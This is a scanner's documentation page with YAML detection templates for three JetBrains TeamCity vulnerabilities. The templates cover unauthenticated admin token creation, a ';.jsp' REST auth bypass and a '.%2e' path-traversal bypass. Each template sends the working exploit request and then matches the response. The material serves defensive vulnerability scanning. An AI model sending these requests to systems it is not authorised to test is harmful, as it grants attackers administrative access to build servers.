TeamCity — 3 vulnerability checks
noctis ships 3 vulnerability checks for TeamCity, covering 3 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
JetBrains TeamCity Pre-Auth Admin Token Creation
| CVE | CVE-2023-42793 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/teamcity/CVE-2023-42793.yaml |
Tests JetBrains TeamCity Server for unauthenticated admin token creation via the REST API. Versions before 2023.05.4 allow any unauthenticated caller to DELETE then POST to /app/rest/users/id:1/tokens/RPC2, obtaining a persistent bearer token with full administrative access. Exploited by APT29 (SVR) and Lazarus Group for CI/CD supply-chain attacks within weeks of disclosure. Detection: POST the token endpoint without credentials; if a <token> XML element is returned, the server is vulnerable. A cleanup DELETE is sent before and after to leave the system in a consistent state.
How noctis detects it
- HTTP(S) request
DELETE /app/rest/users/id:1/tokens/RPC2 - HTTP(S) request
POST /app/rest/users/id:1/tokens/RPC2 - Checks
token_resp.bodyfor<token name="RPC2" creationTime→ finding QoD 97: TeamCity admin token created without authentication: POST /app/rest/users/id:1/tokens/RPC2 returned a bearer token XML element - HTTP(S) request
DELETE /app/rest/users/id:1/tokens/RPC2
References:
- https://nvd.nist.gov/vuln/detail/CVE-2023-42793
- https://www.jetbrains.com/privacy-security/issues-fixed/
- https://www.sonarsource.com/blog/teamcity-vulnerability
- https://github.com/H454NSec/CVE-2023-42793
Feed source — tests/vulnerabilities/teamcity/CVE-2023-42793.yaml
uid: a7c3f1e8-5b2d-4069-b4f8-2e1c9a7b0d5e
name: "JetBrains TeamCity Pre-Auth Admin Token Creation (CVE-2023-42793)"
description: |
Tests JetBrains TeamCity Server for unauthenticated admin token creation via
the REST API. Versions before 2023.05.4 allow any unauthenticated caller to
DELETE then POST to /app/rest/users/id:1/tokens/RPC2, obtaining a persistent
bearer token with full administrative access. Exploited by APT29 (SVR) and
Lazarus Group for CI/CD supply-chain attacks within weeks of disclosure.
Detection: POST the token endpoint without credentials; if a <token> XML
element is returned, the server is vulnerable. A cleanup DELETE is sent
before and after to leave the system in a consistent state.
cves: [CVE-2023-42793]
cvss: 9.8
severity: critical
category: auth-bypass
confidence_base: 0.20
tags: [teamcity, rest-api, auth-bypass, token, kev, cicd]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2023-42793"
- "https://www.jetbrains.com/privacy-security/issues-fixed/"
- "https://www.sonarsource.com/blog/teamcity-vulnerability"
- "https://github.com/H454NSec/CVE-2023-42793"
steps:
# Remove any pre-existing RPC2 token to ensure the POST can succeed.
- id: cleanup-before
action: http_request
method: DELETE
path: /app/rest/users/id:1/tokens/RPC2
port: "{{port}}"
tls_insecure: true
follow_redirects: false
store_as: del_resp
# Attempt admin token creation without any Authorization header.
- id: token-create
action: http_request
method: POST
path: /app/rest/users/id:1/tokens/RPC2
port: "{{port}}"
tls_insecure: true
follow_redirects: false
store_as: token_resp
# Vulnerable: returns XML with <token name="RPC2" creationTime .../>
# Patched: returns 401 Unauthorized
- id: token-match
action: match
source: token_resp.body
pattern: '<token name="RPC2" creationTime'
on_match:
finding:
confidence_delta: 0.70
qod: 97
evidence: "TeamCity admin token created without authentication: POST /app/rest/users/id:1/tokens/RPC2 returned a bearer token XML element"
# Best-effort cleanup — delete the token we may have just created.
- id: cleanup-after
action: http_request
method: DELETE
path: /app/rest/users/id:1/tokens/RPC2
port: "{{port}}"
tls_insecure: true
follow_redirects: false
store_as: cleanup_respJetBrains TeamCity REST API Authentication Bypass
| CVE | CVE-2024-27198 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/teamcity/CVE-2024-27198.yaml |
Tests JetBrains TeamCity for an authentication bypass in the REST API layer. Appending ;.jsp to a REST API path (via the jsp= query parameter) causes the JSP servlet container to route the request to the REST API while bypassing the authentication check that only inspects the outer path prefix. An unauthenticated attacker receives full server metadata (buildNumber, version, internalId) and can chain this to create admin accounts for pre-auth RCE. Affected: TeamCity < 2023.11.4. CISA KEV, EPSS 0.999.
How noctis detects it
- HTTP(S) request
GET /hax?jsp=/app/rest/server;.jsp - Checks
tc_resp.bodyforbuildNumber - Checks
tc_resp.bodyforinternalId→ finding QoD 75: TeamCity REST API accessible without authentication via JSP bypass — server metadata exposed: …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2024-27198
- https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/
- https://github.com/W01fh4cker/CVE-2024-27198-RCE
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-27198.yaml
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog
Feed source — tests/vulnerabilities/teamcity/CVE-2024-27198.yaml
uid: 988da89c-2dbe-459f-b62e-85c19b963a52
name: "JetBrains TeamCity REST API Authentication Bypass (CVE-2024-27198)"
description: |
Tests JetBrains TeamCity for an authentication bypass in the REST API layer.
Appending ;.jsp to a REST API path (via the jsp= query parameter) causes the
JSP servlet container to route the request to the REST API while bypassing
the authentication check that only inspects the outer path prefix. An
unauthenticated attacker receives full server metadata (buildNumber, version,
internalId) and can chain this to create admin accounts for pre-auth RCE.
Affected: TeamCity < 2023.11.4. CISA KEV, EPSS 0.999.
cves: [CVE-2024-27198]
cvss: 9.8
severity: critical
category: auth-bypass
confidence_base: 0.20
tags: [jetbrains, teamcity, auth-bypass, rest-api, rce, kev, apt, ci-cd]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2024-27198"
- "https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/"
- "https://github.com/W01fh4cker/CVE-2024-27198-RCE"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-27198.yaml"
- "https://www.cisa.gov/known-exploited-vulnerabilities-catalog"
steps:
# ── Auth bypass probe via JSP suffix trick ────────────────────────────────
# GET /hax?jsp=/app/rest/server;.jsp is routed to the REST API because the
# JSP container resolves the ;.jsp suffix, bypassing the auth check on /hax.
# A vulnerable server returns HTTP 200 with server metadata XML.
# A patched server returns HTTP 401 for this unauthenticated request.
- id: bypass-probe
action: http_request
method: GET
path: "/hax?jsp=/app/rest/server;.jsp"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: tc_resp
# Check for TeamCity-specific build number field in the unauthenticated response
- id: match-build-num
action: match
source: tc_resp.body
pattern: "buildNumber"
condition: "tc_resp.status == 200"
on_match:
set_vars:
has_build_num: true
# Check for the internalId field (unique to TeamCity server API response)
# Both signals together confirm unauthenticated access to server metadata.
- id: match-internal-id
action: match
source: tc_resp.body
pattern: "internalId"
condition: "has_build_num == true"
on_match:
finding:
confidence_delta: 0.55
qod: 75
evidence: "TeamCity REST API accessible without authentication via JSP bypass — server metadata exposed: {{tc_resp.body}}"
stop: trueJetBrains TeamCity Path Traversal Authentication Bypass
| CVE | CVE-2024-27199 |
|---|---|
| Severity | high · CVSS 7.3 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/teamcity/CVE-2024-27199.yaml |
Tests JetBrains TeamCity for CVE-2024-27199 via path traversal authentication bypass. Sends a raw HTTP request with /res/.%2e/admin/diagnostic.jsp to bypass auth and access the admin diagnostic page. Versions below 2023.11.4 are vulnerable. The diagnostic page returns debug logging controls and CPU/memory diagnostics without requiring a valid session.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /res/.%2e/admin/diagnostic.jsp HTTP/1.0 - Checks
resp.bannerforDebug Logging→ finding QoD 75: TeamCity admin /diagnostic.jsp served unauthenticated via path traversal /res/.%2e/ — Debug Logging control panel accessible
References:
- https://nvd.nist.gov/vuln/detail/CVE-2024-27199
- https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/
- https://github.com/W01fh4cker/CVE-2024-27198-RCE
Feed source — tests/vulnerabilities/teamcity/CVE-2024-27199.yaml
# JetBrains TeamCity Path Traversal Authentication Bypass — CVE-2024-27199
#
# TeamCity's routing treats the first path segment as a public resource prefix.
# Inserting `.%2e` (URL-encoded `..`) in the path bypasses authentication:
# /res/.%2e/admin/diagnostic.jsp → resolves to /admin/diagnostic.jsp
# The admin diagnostic page (debug logging, CPU/memory) is served without
# authentication to any remote attacker.
#
# tcp_connect is required because reqwest normalises `.%2e` → `..` → `/`
# before sending, collapsing the traversal. Raw TCP sends the path verbatim.
# For https services, tcp_connect auto-wraps TLS (scheme from matched service).
#
# Disclosed alongside CVE-2024-27198 (REST API bypass) — distinct exploit path.
# EPSS 1.000 (100.0th percentile) | KEV CISA 2026-04-20
uid: a42794d6-9eeb-42ea-9157-feb76462d4f9
name: "JetBrains TeamCity Path Traversal Authentication Bypass"
description: |
Tests JetBrains TeamCity for CVE-2024-27199 via path traversal authentication
bypass. Sends a raw HTTP request with /res/.%2e/admin/diagnostic.jsp to bypass
auth and access the admin diagnostic page. Versions below 2023.11.4 are
vulnerable. The diagnostic page returns debug logging controls and CPU/memory
diagnostics without requiring a valid session.
cves: [CVE-2024-27199]
cvss: 7.3
severity: high
category: auth-bypass
confidence_base: 0.30
tags: [jetbrains, teamcity, auth-bypass, path-traversal, ci-cd, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2024-27199"
- "https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/"
- "https://github.com/W01fh4cker/CVE-2024-27198-RCE"
steps:
# Raw HTTP GET with path traversal — reqwest would normalise .%2e before sending
- id: traversal-probe
action: tcp_connect
port: "{{port}}"
send: "GET /res/.%2e/admin/diagnostic.jsp HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
store_as: resp
# Admin page served without auth → confirms traversal bypass
- id: admin-page-match
action: match
source: resp.banner
pattern: "Debug Logging"
on_match:
finding:
confidence_delta: 0.60 # 0.30 + 0.60 = 0.90
qod: 75
evidence: "TeamCity admin /diagnostic.jsp served unauthenticated via path traversal /res/.%2e/ — Debug Logging control panel accessible"